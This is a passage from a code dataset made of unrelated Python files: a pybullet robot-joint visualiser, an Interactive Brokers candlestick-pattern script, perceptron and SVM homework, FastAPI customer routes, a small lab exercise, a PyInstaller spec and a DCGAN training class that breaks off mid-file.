'LLEG_VIRTUAL_JOINT3', 'LLEG_VIRTUAL_JOINT2', 'LLEG_VIRTUAL_JOINT1', 'RLEG_JOINT0', 'RLEG_JOINT1', 'RLEG_JOINT2', 'RLEG_JOINT3', 'RLEG_JOINT4', 'RLEG_VIRTUAL_JOINT3', 'RLEG_VIRTUAL_JOINT2', 'RLEG_VIRTUAL_JOINT1']\n\n\ndef build_markers(num_markers):\n print(num_markers)\n marker_radius = 0.02\n markers_handle = []\n for i in range(num_markers):\n if (JOINT_NAMES[i] == 'HIP_VIRTUAL_JOINT') or (JOINT_NAMES[i] == 'TORSO_VIRTUAL_JOINT'):\n col = [0, 1, 0, 1]\n elif 'R' in JOINT_NAMES[i]:\n col = [0.9, 0, 0.7, 1]\n elif 'L' in JOINT_NAMES[i]:\n col = [0, 0, 0, 1]\n else:\n col = [1, 1, 0, 1]\n virtual_shape_id = pybullet.createVisualShape(shapeType=pybullet.GEOM_SPHERE,\n radius=marker_radius,\n rgbaColor=col)\n body_id = pybullet.createMultiBody(baseMass=0,\n baseCollisionShapeIndex=-1,\n baseVisualShapeIndex=virtual_shape_id,\n basePosition=[0, 0, 0],\n useMaximalCoordinates=True)\n markers_handle.append(body_id)\n return markers_handle\n\n\ndef get_joint_limits(robot):\n\n num_joints = pybullet.getNumJoints(robot)\n joint_lower_bound = []\n joint_upper_bound = []\n joint_limit_range = []\n\n for i in range(num_joints):\n joint_info = pybullet.getJointInfo(robot, i)\n joint_type = joint_info[2]\n if joint_type == pybullet.JOINT_PRISMATIC or joint_type == pybullet.JOINT_REVOLUTE:\n joint_lower_bound.append(joint_info[8])\n joint_upper_bound.append(joint_info[9])\n joint_limit_range.append(joint_info[9] - joint_info[8])\n return joint_lower_bound, joint_upper_bound, joint_limit_range\n\n\ndef set_maker_pos(marker_pos, marker_ids):\n num_markers = len(marker_ids)\n # print(marker_pos.shape[0])\n # print(num_markers)\n assert(num_markers == marker_pos.shape[0])\n\n for i in range(num_markers):\n curr_id = marker_ids[i]\n curr_pos = marker_pos[i]\n\n pybullet.resetBasePositionAndOrientation(\n curr_id, curr_pos, np.array([0, 0, 0, 1]))\n\n return\n\n\ndef set_robot_joint_marker(robot, marker_ids):\n\n num_joints = pybullet.getNumJoints(robot)\n\n robot_joint_pos = np.array(pybullet.getLinkStates(robot, list(\n range(num_joints)), computeForwardKinematics=True))[:, 4]\n\n set_maker_pos(robot_joint_pos, marker_ids)\n\n\ndef get_non_fixed_joint_indices(robot):\n num_joints = pybullet.getNumJoints(robot)\n non_fixed_joint_indices = []\n for i in range(num_joints):\n joint_type = pybullet.getJointInfo(robot, i)[2]\n if joint_type is not 4:\n non_fixed_joint_indices.append(i)\n return non_fixed_joint_indices\n\n\ndef main():\n # build world\n pybullet.connect(pybullet.GUI)\n pybullet.setAdditionalSearchPath(pd.getDataPath())\n pybullet.resetSimulation()\n pybullet.setGravity(0, 0, -0)\n ground = pybullet.loadURDF(\n khr_cfg.GROUND_URDF_FILENAME, basePosition=[0., 0., 0.])\n\n # create actor\n robot = pybullet.loadURDF(khr_cfg.ROBOT_URDF_FILENAME, basePosition=np.array(\n [0, 0, 0.283]), baseOrientation=np.array([0, 0, 0, 1]))\n num_joints = pybullet.getNumJoints(robot)\n robot_joint_indices = {}\n for i in range(num_joints):\n joint_name = str(pybullet.getJointInfo(robot, i)[1], 'utf-8')\n # print(pybullet.getJointInfo(robot, i))\n robot_joint_indices[joint_name] = i\n\n print(robot_joint_indices)\n non_fixed_joint_indices = get_non_fixed_joint_indices(robot)\n\n print(non_fixed_joint_indices)\n non_fixed_joint_dict = {}\n for i in range(num_joints):\n joint_name = str(pybullet.getJointInfo(robot, i)[1], 'utf-8')\n if \"HEAD\" in joint_name or \"VIRTUAL\" in joint_name:\n continue\n # print(pybullet.getJointInfo(robot, i))\n non_fixed_joint_dict[joint_name] = i\n\n print('non fixed joint')\n print(non_fixed_joint_dict)\n\n joint_lower, joint_upper, joint_limit_range = get_joint_limits(robot)\n\n # print(robot_joint_indices)\n\n joint = \"LARM_JOINT0\"\n for k in range(num_joints):\n if k == non_fixed_joint_dict[joint]:\n pybullet.resetJointState(\n robot, non_fixed_joint_dict[joint], joint_lower[non_fixed_joint_indices.index(k)], 0.)\n else:\n continue\n\n # DEFAULT_JOINT_POS = [0] * len(non_fixed_joint_dict)\n # DEFAULT_JOINT_POS[0] = 1.\n # DEFAULT_JOINT_POS = [0.0, 0.0, 0.0, 0.0, 0.3, 0.0, -0.5,\n # 0, 0.3, 0.0, -0.5, 0, 0, -0.4, 0.8, -0.4, 0, 0, -0.4, 0.8, -0.4, 0]\n # print(len(DEFAULT_JOINT_POS))\n # print(DEFAULT_JOINT_POS)\n print(joint_upper)\n # joint = \"LARM_JOINT0\"\n # for k in range(num_joints):\n # # if k == non_fixed_joint_dict[joint]:\n # pybullet.resetJointState(\n # robot, k, DEFAULT_JOINT_POS[k], 0.)\n # else:\n # continue\n print(robot_joint_indices.keys())\n # robot_joint_indices\n # {'HEAD_JOINT0': 0, 'LARM_JOINT0': 1, 'LARM_JOINT1': 2, 'LARM_JOINT2': 3,\n # 'LLEG_JOINT0': 4, 'LLEG_JOINT1': 5, 'LLEG_JOINT2': 6, 'LLEG_JOINT3': 7,\n # 'LLEG_JOINT4': 8, 'RARM_JOINT0': 9, 'RARM_JOINT1': 10, 'RARM_JOINT2': 11,\n # 'RLEG_JOINT0': 12, 'RLEG_JOINT1': 13, 'RLEG_JOINT2': 14, 'RLEG_JOINT3': 15,\n # 'RLEG_JOINT4': 16}\n\n # create marker to display reference motion\n num_markers = num_joints\n marker_ids = build_markers(num_markers)\n\n states = np.array(pybullet.getLinkStates(robot, list(\n range(num_joints)), computeForwardKinematics=True))[:, 4]\n\n ref_joint_pos = states\n while True:\n time_start = time.time()\n\n # print(\"Frame {:d}\".format(f_idx))\n\n # ref_joint_pos = ref_joint_position\n # ref_joint_pos = np.reshape(ref_joint_pos, [-1, 3])\n # ref_joint_pos = pre_process_ref_joint_pos(ref_joint_pos)\n # ref_joint_pos += 1.0\n\n # if f_idx == 30:\n # a = np.array(pybullet.getLinkState(robot, 15)[0])\n # print(a.shape)\n # a = a - np.array(pose[0:3])\n # print(a)\n set_robot_joint_marker(robot, marker_ids)\n # set_maker_pos(ref_joint_pos, marker_ids)\n # update_camera(robot)\n\n time_end = time.time()\n sleep_dur = bvh_cfg.FRAME_DURATION - (time_end - time_start)\n sleep_dur = max(0, sleep_dur)\n\n time.sleep(sleep_dur * 2)\n # time.sleep(0.02) # jp hack\n\n pybullet.disconnect()\n\n return\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ojh6404/IsaacGymEnvs","sub_path":"isaacgymenvs/motion_retarget/urdf_test.py","file_name":"urdf_test.py","file_ext":"py","file_size_in_byte":8306,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"773040144","text":"# Import libraries\nimport datetime\nfrom datetime import datetime\nfrom ibapi.client import EClient\nfrom ibapi.wrapper import EWrapper\nfrom ibapi.contract import Contract\nimport pandas as pd\nimport threading\nimport json\nimport time\nfrom logger import log\n\n\nclass TradeApp(EWrapper, EClient):\n def __init__(self):\n EClient.__init__(self, self)\n self.data = {}\n\n def historicalData(self, reqId, bar):\n if reqId not in self.data:\n self.data[reqId] = [\n {\"Date\": bar.date, \"Open\": bar.open, \"High\": bar.high, \"Low\": bar.low, \"Close\": bar.close,\n \"Volume\": bar.volume}]\n\n else:\n self.data[reqId].append(\n {\"Date\": bar.date, \"Open\": bar.open, \"High\": bar.high, \"Low\": bar.low, \"Close\": bar.close,\n \"Volume\": bar.volume})\n # log(f\" historicalData:reqID:{reqId}, date:{bar.date}, open:{bar.open}, high:{bar.high}, low:{bar.low}, close:{bar.close}, volume:{bar.volume}\")\n\n\ndef websocket_con():\n app.run()\n\n\napp = TradeApp()\napp.connect(\"127.0.0.1\", 7497, clientId=1)\n\n# starting a separate daemon thread to execute the websocket connection\ncon_thread = threading.Thread(target=websocket_con, daemon=True)\ncon_thread.start()\ntime.sleep(1) # some latency added to ensure that the connection is established\n\n\n# creating object of the Contract class - will be used as a parameter for other function calls\ndef generalStk(symbol=\"ES\", sec_type=\"FUT\", currency=\"USD\", exchange=\"GLOBEX\", lastTradeDateOrContractMonth=\"202103\"):\n contract = Contract()\n contract.symbol = symbol\n contract.secType = sec_type\n contract.currency = currency\n contract.exchange = exchange\n contract.lastTradeDateOrContractMonth = lastTradeDateOrContractMonth\n log(f'Contract details extracted {contract}')\n return contract\n\n\ndef histData(contract, duration, candle_size):\n app.reqHistoricalData(reqId=1,\n contract=contract,\n endDateTime='',\n durationStr=duration,\n barSizeSetting=candle_size,\n whatToShow='ADJUSTED_LAST',\n useRTH=0,\n formatDate=1,\n keepUpToDate=False,\n chartOptions=[]) # EClient function to request contract details\n\n\nimport configparser\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\n\ndef get_last_5_min_data():\n histData(generalStk(), '1 D', '5 mins')\n time.sleep(5)\n data = pd.DataFrame(app.data)\n l = data.tail(3)\n h = l.head(2)\n dataFrame = pd.DataFrame(h)\n jso = dataFrame.to_json()\n js = json.loads(jso)\n log(f\"last 5 mins data: {js['1']}\")\n js = js['1']\n date_time_obj = []\n for i in js.values():\n t = i['Date'].split()[1]\n date_time_obj.append(datetime.strptime(t, '%H:%M:%S').time())\n d = {'earliest': min(date_time_obj), 'latest': max(date_time_obj)}\n v = []\n for i in js.values():\n ti = i['Date'].split()[1]\n if str(d['earliest']) == ti:\n v.append({'previous': i})\n if str(d['latest']) == ti:\n v.append({'latest': i})\n log(f\"Manipulated data {v}\")\n return v\n\n\ndef engulfing():\n data = get_last_5_min_data()\n prev_h = data[0]['previous']['High']\n cur_h = data[1]['latest']['High']\n prev_l = data[0]['previous']['Low']\n cur_l = data[1]['latest']['Low']\n cur_o = data[1]['latest']['Open']\n cur_c = data[1]['latest']['Close']\n volume_prev = data[0]['previous']['Volume']\n volume_cur = data[1]['latest']['Volume']\n if volume_prev < volume_cur:\n if cur_h > prev_h and cur_l < prev_l:\n if cur_o < cur_c:\n log('bullish engulfing')\n elif cur_o > cur_c:\n log('bearish engulfing')\n elif cur_o == cur_c:\n log('indecision engulfing')\n else:\n pass\n\n\ndef hammer():\n data = get_last_5_min_data()\n volume_prev = data[0]['previous']['Volume']\n volume_cur = data[1]['latest']['Volume']\n cur_h = data[1]['latest']['High']\n cur_l = data[1]['latest']['Low']\n cur_o = data[1]['latest']['Open']\n cur_c = data[1]['latest']['Close']\n if cur_o > cur_c:\n candle_color = 'red'\n candle_range = cur_h - cur_l\n body_range = cur_o - cur_c\n top_wick = cur_h - cur_o\n bottom_wick = cur_c - cur_l\n dic = {'candle_color': candle_color, 'candle_range': candle_range, 'body_range': body_range,\n 'top_wick': top_wick, 'bottom_wick': bottom_wick, 'volume_prev': volume_prev,\n 'volume_cur': volume_cur}\n log({'candle_color': candle_color, 'candle_range': candle_range, 'body_range': body_range,\n 'top_wick': top_wick, 'bottom_wick': bottom_wick, 'volume_prev': volume_prev,\n 'volume_cur': volume_cur})\n elif cur_c > cur_o:\n candle_color = 'grn'\n candle_range = cur_h - cur_l\n body_range = cur_c - cur_o\n top_wick = cur_h - cur_c\n bottom_wick = cur_o - cur_l\n dic = {'candle_color': candle_color, 'candle_range': candle_range, 'body_range': body_range,\n 'top_wick': top_wick, 'bottom_wick': bottom_wick, 'volume_prev': volume_prev,\n 'volume_cur': volume_cur}\n log({'candle_color': candle_color, 'candle_range': candle_range, 'body_range': body_range,\n 'top_wick': top_wick, 'bottom_wick': bottom_wick, 'volume_prev': volume_prev,\n 'volume_cur': volume_cur})\n else:\n dic = {'candle': 'indecision'}\n\n if 'bottom_wick' in dic.keys():\n if dic['volume_prev'] < dic['volume_cur']:\n if dic['bottom_wick'] > dic['top_wick'] and dic['candle_range'] > dic['body_range'] * 3:\n log(f'bullish hammer {dic}')\n elif dic['bottom_wick'] < dic['top_wick'] and dic['candle_range'] > dic['body_range'] * 3:\n log(f'shooting star {dic}')\n else:\n log('Indecision')\n return dic\n\n","repo_name":"rukhilloinc/interactive_brokers","sub_path":"First_Iteration/PriceAction.py","file_name":"PriceAction.py","file_ext":"py","file_size_in_byte":6055,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"2327184890","text":"# =============================================================================\n# Problem 1.1\n# =============================================================================\nimport numpy as np\nfrom collections import defaultdict\ny = np.array([-1,-1,-1,-1,-1,1,1,1,1,1])\nc= [(0,0), (2,0), (3,0), (0,2), (2,2), (5,1), (5,2), (2,4), (4,4), (5,5)]\n\n\ntheta = np.array([0,0])\ntheta_0 = 0\nmistakes_dic = defaultdict(int)\n\ndef run_perceptron_iteration(y,c, theta,theta_0, mistakes_dic):\n\thas_made_mistakes = False\n\tfor i in range(len(c)):\n\t\tif y[i]*(np.matmul(theta,np.array([*c[i]])) + theta_0) <=0:\n\t\t\thas_made_mistakes = True\n\t\t\ttheta = theta + y[i]*np.array([*c[i]])\n\t\t\ttheta_0 = theta_0 + y[i]\n\t\t\tmistakes_dic[c[i]] += 1\n\treturn theta, theta_0, has_made_mistakes, mistakes_dic\n\n\ndef run_perceptron_algorithm():\n\ty = np.array([-1, -1, -1, -1, -1, 1, 1, 1, 1, 1])\n\tc = [(0, 0), (2, 0), (3, 0), (0, 2), (2, 2), (5, 1), (5, 2), (2, 4), (4, 4), (5, 5)]\n\ttheta = np.array([0, 0])\n\ttheta_0 = 0\n\tmistakes_dic = defaultdict(int)\n\tnb_iter = 0\n\thas_made_mistakes = True\n\twhile has_made_mistakes:\n\t\ttheta, theta_0, has_made_mistakes, mistakes_dic = run_perceptron_iteration(y,c,theta,theta_0, mistakes_dic)\n\t\tnb_iter +=1\n\t\tprint(f'Iteration:\\t{nb_iter}', end='\\n----------------------------\\n')\n\t\tprint(f'theta is:\\t{theta}', end='\\n----------------------------\\n')\n\t\tprint(f'theta0 is:\\t{theta_0}', end='\\n----------------------------\\n')\n\t\tprint(f'mistakes dic is:\\t{mistakes_dic}', end='\\n----------------------------\\n')\n\telse:\n\t\tprint(f'algorithm converged after {nb_iter} iterations.'.upper())\n\t\tprint(f'theta is:\\t{theta}')\n\t\tprint(f'theta0 is:\\t{theta_0}')\n\t\tprint(f'mistakes dic is:\\t{mistakes_dic}')\n\treturn theta,theta_0, mistakes_dic\n\nrun_perceptron_algorithm()\n\n\ntheta = np.array([0,0])\ntheta_0 = 0\n\ndef update_theta(theta, theta_0, y,c,i,nb_mistakes):\n\tfor _ in range(nb_mistakes):\n\t\ttheta = theta + y[i] * np.array([*c[i]])\n\t\ttheta_0 = theta_0 + y[i]\n\treturn theta, theta_0\n\nclass Perceptron:\n\n\tdef __init__(self,y,c):\n\t\tself.y = y\n\t\tself.c = c\n\t\tself.theta = np.array([0,0])\n\t\tself.theta_0 = 0\n\t\tself.mistakes_dic = {}\n\n\tdef __repr__(self):\n\t\treturn f'Perceptron(y,c)\\ny={self.y}\\nc={self.c}'\n\n\tdef is_mistake(self,i):\n\t\treturn self.y[i]*(np.matmul(self.theta,np.array([*self.c[i]])) + self.theta_0) <=0\n\n\tdef update_theta(self, i, nb_mistakes, is_debug = True\t):\n\t\tself.mistakes_dic[self.c[i]] = nb_mistakes\n\t\tif nb_mistakes==0:\n\t\t\treturn None\n\t\tfor _ in range(nb_mistakes):\n\t\t\tself.theta = self.theta + self.y[i] * np.array([*self.c[i]])\n\t\t\tself.theta_0 = self.theta_0 + self.y[i]\n\n\t\tif is_debug:\n\t\t\tprint(f'{self}\\n made {nb_mistakes} to classify coordinate: {self.c[i]}')\n\n\np = Perceptron(y,c)\nmistakes = [1,9,10,5,9,11,0,3,1,1]\nfor i, mistake in enumerate(mistakes):\n\tp.update_theta(i, mistake)\n\np.mistakes_dic\np.theta\np.theta_0\n\n\n# =============================================================================\n# Problem 1.2\n# =============================================================================\np = Perceptron(y,c)\np.is_mistake(6)\n\n# =============================================================================\n# Problem 1.3\n# =============================================================================\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import svm\nfrom sklearn.datasets import make_blobs\n\nX, y = np.array([[i[0], i[1]] for i in c]), y\n\nclf = svm.SVC(kernel='linear', C=1000)\nclf.fit(X, y)\n\nplt.scatter(X[:, 0], X[:, 1], c=y, s=30, cmap=plt.cm.Paired)\n\n# plot the decision function\nax = plt.gca()\nxlim = ax.get_xlim()\nylim = ax.get_ylim()\n\n# create grid to evaluate model\nxx = np.linspace(xlim[0], xlim[1], 10)\nyy = np.linspace(ylim[0], ylim[1], 10)\nYY, XX = np.meshgrid(yy, xx)\nxy = np.vstack([XX.ravel(), YY.ravel()]).T\nZ = clf.decision_function(xy).reshape(XX.shape)\n\n# plot decision boundary and margins\nax.contour(XX, YY, Z, colors='k', levels=[-1, 0, 1], alpha=0.5,\n linestyles=['--', '-', '--'])\n# plot support vectors\nax.scatter(clf.support_vectors_[:, 0], clf.support_vectors_[:, 1], s=100,\n linewidth=1, facecolors='none', edgecolors='k')\nplt.show()\n\nyt_func = lambda x : -x + 5\nyt = yt_func(xx)\nax.scatter(xx, yt)\n\nlf = lambda x: -x +3\nuf = lambda x: -x +7\n\nax.scatter(xx, lf(xx))\nax.scatter(xx, uf(xx))\n\n# =============================================================================\n# Problem 2\n# =============================================================================\n\ndef run_perceptron_algorithm(c,y,T=1_00_000):\n\ttheta = np.array([0, 0])\n\ttheta_0 = 0\n\tmistakes_dic = defaultdict(int)\n\tnb_iter = 0\n\thas_made_mistakes = True\n\tfor _ in range(T):\n\t\ttheta, theta_0, has_made_mistakes, mistakes_dic = run_perceptron_iteration(y,c,theta,theta_0, mistakes_dic)\n\t\tnb_iter +=1\n\t\tprint(f'Iteration:\\t{nb_iter}', end='\\n----------------------------\\n')\n\t\tprint(f'theta is:\\t{theta}', end='\\n----------------------------\\n')\n\t\tprint(f'theta0 is:\\t{theta_0}', end='\\n----------------------------\\n')\n\t\tprint(f'mistakes dic is:\\t{mistakes_dic}', end='\\n----------------------------\\n')\n\telse:\n\t\tprint(f'algorithm converged after {nb_iter} iterations.'.upper())\n\t\tprint(f'theta is:\\t{theta}')\n\t\tprint(f'theta0 is:\\t{theta_0}')\n\t\tprint(f'mistakes dic is:\\t{mistakes_dic}')\n\treturn theta,theta_0, mistakes_dic\nx = [(0,0),(0,2),(1,1),(1,4),(2,0),(3,3),(4,1),(4,4),(5,2),(5,5)]\ny = np.array([-1,-1,-1,1,-1,-1,1,1,1,1])\n\nrun_perceptron_algorithm(x,y)\n\n# =============================================================================\n# Problem 2.2\n# =============================================================================\nimport math\n\nfeature_map = lambda x1,x2 : np.array([x1**2, math.sqrt(2)*x1*x2, x2**2 ])\n\ndef fmap(x1,x2):\n\treturn np.array([x1**2, math.sqrt(2)*x1*x2, x2**2 ])\n\nx = [(0,0),(0,2),(1,1),(1,4),(2,0),(3,3),(4,1),(4,4),(5,2),(5,5)]\ny = np.array([-1,-1,-1,1,-1,-1,1,1,1,1])\nmistakes = [1,65,11,31,72,30,0,21,4,15]\n\nmistakes = np.zeros(10)\ndef theta_feature_map(mistakes, y, fmap, x, i):\n\treturn np.sum([mistakes[j]*y[j]*np.matmul(fmap(*x[j]), fmap(*x[i]).transpose()) for j in range(len(x))])\n\nmistakes = [1,65,11,31,72,30,0,21,4,15]\ntheta = np.array([0,0])\nfor i in range(len(x)):\n\tif y[i]*theta_feature_map(mistakes, y,fmap, x,i) <=0:\n\t\tprint(i)\n\n\n\ndef run_kernel_perceptron_algorithm(x,y, t = 10):\n\tpass\n\nmistakes = [1,65,11,31,72,30,0,21,4,15]\ns = []\nfor j in range(len(x)):\n\ts.append(mistakes[j]*y[j]*fmap(*x[j]))\n\ntheta = np.sum(s, axis = 0)\n","repo_name":"MarinoSanLorenzo/FromLinearModelsToDeepLearning","sub_path":"mid_term/problem_1.py","file_name":"problem_1.py","file_ext":"py","file_size_in_byte":6439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39166161918","text":"from fastapi import APIRouter\n\nfrom ..controller.customer import (\n get_all_customers,\n get_filtered_customers,\n get_particular_customer,\n)\n\nrouter = APIRouter()\n\n\n@router.get(\"/\")\nasync def get_all_customers_route():\n customers = await get_all_customers()\n if customers:\n return {\"result\": customers}\n return {\"result\": \"No customers found\"}, 404\n\n\n@router.get(\"/new_npa_accounts\")\nasync def get_new_npa_customers_route():\n customers = await get_filtered_customers(\n filter=\"chart_type\", value=\"New NPA Accounts\"\n )\n if customers:\n return {\"result\": customers}\n return {\"result\": \"No customers found\"}, 404\n\n\n@router.get(\"/npa_accounts_with_recovery\")\nasync def get_npa_accounts_with_recovery_customers():\n customers = await get_filtered_customers(\n filter=\"chart_type\", value=\"NPA Accounts with recovery\"\n )\n if customers:\n return {\"result\": customers}\n return {\"result\": \"No customers found\"}, 404\n\n\n@router.get(\"/new_sma_accounts\")\nasync def get_new_sma_customers_route():\n customers = await get_filtered_customers(\n filter=\"chart_type\", value=\"New SMA Accounts\"\n )\n if customers:\n return {\"result\": customers}\n return {\"result\": \"No customers found\"}, 404\n\n\n@router.get(\"/{id}\")\nasync def get_particular_customer_route(id: str):\n customer = await get_particular_customer(id)\n if customer:\n return {\"result\": customer}\n return {\"result\": \"Customer not found\"}, 404\n","repo_name":"yashodhanketkar/fastapicharts","sub_path":"app/server/routes/customer.py","file_name":"customer.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8422291804","text":"\"\"\"\n CS5001-5003 Fall 2022\n Lab 06 -- Coding Practice 6-- Problem 2, count down\n (Bruce) Chuanzhao Huang / \n\"\"\"\n\n\ndef count_down():\n for i in range(100, 0, -5):\n print(i)\n print(\"Blastoff!\")\n\n\nif __name__ == \"__main__\":\n count_down()\n","repo_name":"bruce722/CS5001_Module_06","sub_path":"count_down.py","file_name":"count_down.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1993165027","text":"# -*- mode: python ; coding: utf-8 -*-\nimport sys\nsys.setrecursionlimit(5000)\n\nblock_cipher = None\n\n\na = Analysis(['CSZL_Framwork2020.py'],\n pathex=['C:\\\\Users\\\\ZMC_home01\\\\source\\\\repos\\\\CSZL_2020\\\\CSZL_Framwork2020'],\n binaries=[],\n datas=[],\n hiddenimports=['pandas','pylab','scipy','scipy.signal','cython', 'sklearn','sklearn.impute','sklearn.preprocessing','sklearn.decomposition','sklearn.cluster','sklearn.metrics','sklearn.metrics.get_scorer','sklearn.tree','sklearn.ensemble','sklearn.neighbors.typedefs','sklearn.neighbors.quad_tree','sklearn.tree._utils'],\n hookspath=[],\n runtime_hooks=[],\n excludes=[],\n win_no_prefer_redirects=False,\n win_private_assemblies=False,\n cipher=block_cipher,\n noarchive=False)\npyz = PYZ(a.pure, a.zipped_data,\n cipher=block_cipher)\nexe = EXE(pyz,\n a.scripts,\n a.binaries,\n a.zipfiles,\n a.datas,\n [],\n name='CSZL_Framwork2020',\n debug=False,\n bootloader_ignore_signals=False,\n strip=False,\n upx=True,\n upx_exclude=[],\n runtime_tmpdir=None,\n console=True )\n","repo_name":"BNDKG/CSZL_2020","sub_path":"CSZL_Framwork2020/CSZL_Framwork2020.spec","file_name":"CSZL_Framwork2020.spec","file_ext":"spec","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"71607220001","text":"# We follow the DCGAN tutorial from https://pytorch.org/tutorials/beginner/dcgan_faces_tutorial.html\n# Main change is refactoring into a class as a base for pipeline, saving of intermediate results and\n# visualizing - kpresnakov\n\nfrom __future__ import print_function\n\nfrom abc import ABC, abstractmethod\n\n#%matplotlib inline\nimport random\nfrom timeit import default_timer as timer\n\nimport torch\n\nimport torch.nn as nn\nimport torch.nn.parallel\n\nimport torch.backends.cudnn as cudnn\nimport torch.optim as optim\nimport torch.utils.data\n\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nfrom torchvision.transforms.transforms import ColorJitter, RandomHorizontalFlip, RandomRotation\nimport torchvision.utils as vutils\n\nfrom torch.cuda.amp import autocast, GradScaler\n\nfrom torchsummary import summary\n\nfrom IPython.display import HTML\n\nfrom config import Config\nfrom discriminator import Discriminator\nfrom generator import Generator\nimport util.visualization as viz_util\nimport util.logging as log_util\n\n\ndef weights_init_normal(m):\n classname = m.__class__.__name__\n if classname.find(\"Conv\") != -1:\n nn.init.normal_(m.weight.data, 0.0, 0.02)\n elif classname.find(\"BatchNorm\") != -1:\n nn.init.normal_(m.weight.data, 1.0, 0.02)\n nn.init.constant_(m.bias.data, 0)\n\n\nclass DCGAN_base(ABC):\n def __init__(self, config: Config) -> None:\n self.config: Config = config\n self.init_torch()\n\n self.use_amp = False\n\n self.device = torch.device(\"cuda:0\" if (torch.cuda.is_available() and self.config.num_gpu > 0) else \"cpu\")\n\n self.init_dataset_and_loader()\n self.init_validation_dataset_and_loader()\n\n self.G = self.init_generator()\n self.D = self.init_discriminator()\n\n self.init_loss_and_optimizer()\n self.init_lr_decay_deltas()\n\n # Training data\n self.img_list = []\n self.G_losses = []\n self.D_losses = []\n self.D_x_vals = []\n self.G_D_z_vals = []\n\n # Validation data\n self.D_x_validation_vals = []\n self.D_losses_validation = []\n\n def init_torch(self) -> None:\n manualSeed = 999\n print(manualSeed)\n random.seed(manualSeed)\n torch.manual_seed(manualSeed)\n\n def init_dataset_and_loader(self):\n dataset = dset.ImageFolder(\n root=self.config.dataroot.dataset_root,\n transform=transforms.Compose(\n [\n transforms.Resize(self.config.image_size),\n transforms.CenterCrop(self.config.image_size),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]\n ),\n )\n\n self.dataloader = torch.utils.data.dataloader.DataLoader(\n dataset=dataset,\n batch_size=self.config.batch_size,\n shuffle=True,\n num_workers=self.config.dataloader_num_workers,\n )\n\n def init_validation_dataset_and_loader(self):\n validation_dataset = dset.ImageFolder(\n root=self.config.dataroot.validation_dataset_root,\n transform=transforms.Compose(\n [\n transforms.Resize(self.config.image_size),\n transforms.CenterCrop(self.config.image_size),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]\n ),\n )\n\n self.validation_dataloader = torch.utils.data.dataloader.DataLoader(\n dataset=validation_dataset,\n batch_size=self.config.batch_size,\n shuffle=True,\n num_workers=self.config.dataloader_num_workers,\n )\n\n def init_dataset_and_loader_transformed(self):\n dataset = dset.ImageFolder(\n root=self.config.dataroot.dataset_root,\n transform=transforms.Compose(\n [\n transforms.Resize(self.config.image_size),\n # transforms.ColorJitter(brightness=0.25, contrast=0.25, saturation=0.25),\n transforms.CenterCrop(self.config.image_size),\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]\n ),\n )\n\n self.dataloader = torch.utils.data.dataloader.DataLoader(\n dataset=dataset,\n batch_size=self.config.batch_size,\n shuffle=True,\n num_workers=self.config.dataloader_num_workers,\n )\n\n def init_generator(self) -> Generator:\n generator = Generator(\n num_gpu=self.config.num_gpu,\n latent_size=self.config.latent_size,\n feat_maps_size=self.config.g_feat_maps,\n num_channels=self.config.num_channels,\n image_size=self.config.image_size,\n ).to(self.device)\n\n generator.apply(weights_init_normal)\n\n print(generator)\n print(\"\\n\")\n summary(generator, input_size=(self.config.latent_size, 1, 1))\n\n return generator\n\n @abstractmethod\n def init_discriminator(self) -> Discriminator:\n discriminator = Discriminator(\n num_gpu=self.config.num_gpu,\n num_channels=self.config.num_channels,\n feat_maps_size=self.config.d_feat_maps,\n image_size=self.config.image_size,\n use_sigmoid=self.use_amp,\n ).to(self.device)\n\n discriminator.apply(weights_init_normal)\n\n print(discriminator)\n print(\"\\n\")\n summary(discriminator, input_size=(self.config.num_channels, self.config.image_size, self.config.image_size))\n\n return discriminator\n\n @abstractmethod\n def init_loss_and_optimizer(self) -> None:\n pass\n\n def init_lr_decay_deltas(self) -> None:\n if self.config.lr_linear_decay_enabled:\n self.lr_g_decay_delta = self.config.g_learning_rate / (\n self.config.num_epochs - self.config.g_lr_decay_start_epoch\n )\n self.lr_d_decay_delta = self.config.d_learning_rate / (\n self.config.num_epochs - self.config.d_lr_decay_start_epoch\n )\n\n def train_and_plot(self):\n self.train()\n self.plot_results()\n\n @abstractmethod\n def train(self):\n pass\n\n def update_learning_rate_linear_decay(self, current_epoch):\n if current_epoch < self.config.d_lr_decay_start_epoch:\n return\n\n for param_group in self.optimizerD.param_groups:\n param_group[\"lr\"] -= self.lr_d_decay_delta\n for param_group in self.optimizerG.param_groups:\n param_group[\"lr\"] -= self.lr_g_decay_delta\n\n ################################ Visualization and logging ################################\n\n @abstractmethod\n def plot_results(self) -> None:\n pass\n\n def persist_training_data(self, loss_G, loss_D, D_x, D_G_z) -> None:\n self.G_losses.append(loss_G.item())\n self.D_losses.append(loss_D.item())\n self.D_x_vals.append(D_x)\n self.G_D_z_vals.append(D_G_z)\n\n def persist_validation_data(self, loss_D_val, D_x_val) -> None:\n self.D_losses_validation.append(loss_D_val.item())\n self.D_x_validation_vals.append(D_x_val)\n\n def save_fakes_snapshot_every_nth_epoch(self, epoch, batch_num):\n output_name = self.config.intermediates_root + \"epoch%d.png\" % (epoch)\n\n if (epoch % 5 == 0) and (batch_num >= len(self.dataloader) - 1):\n with torch.no_grad():\n fake = 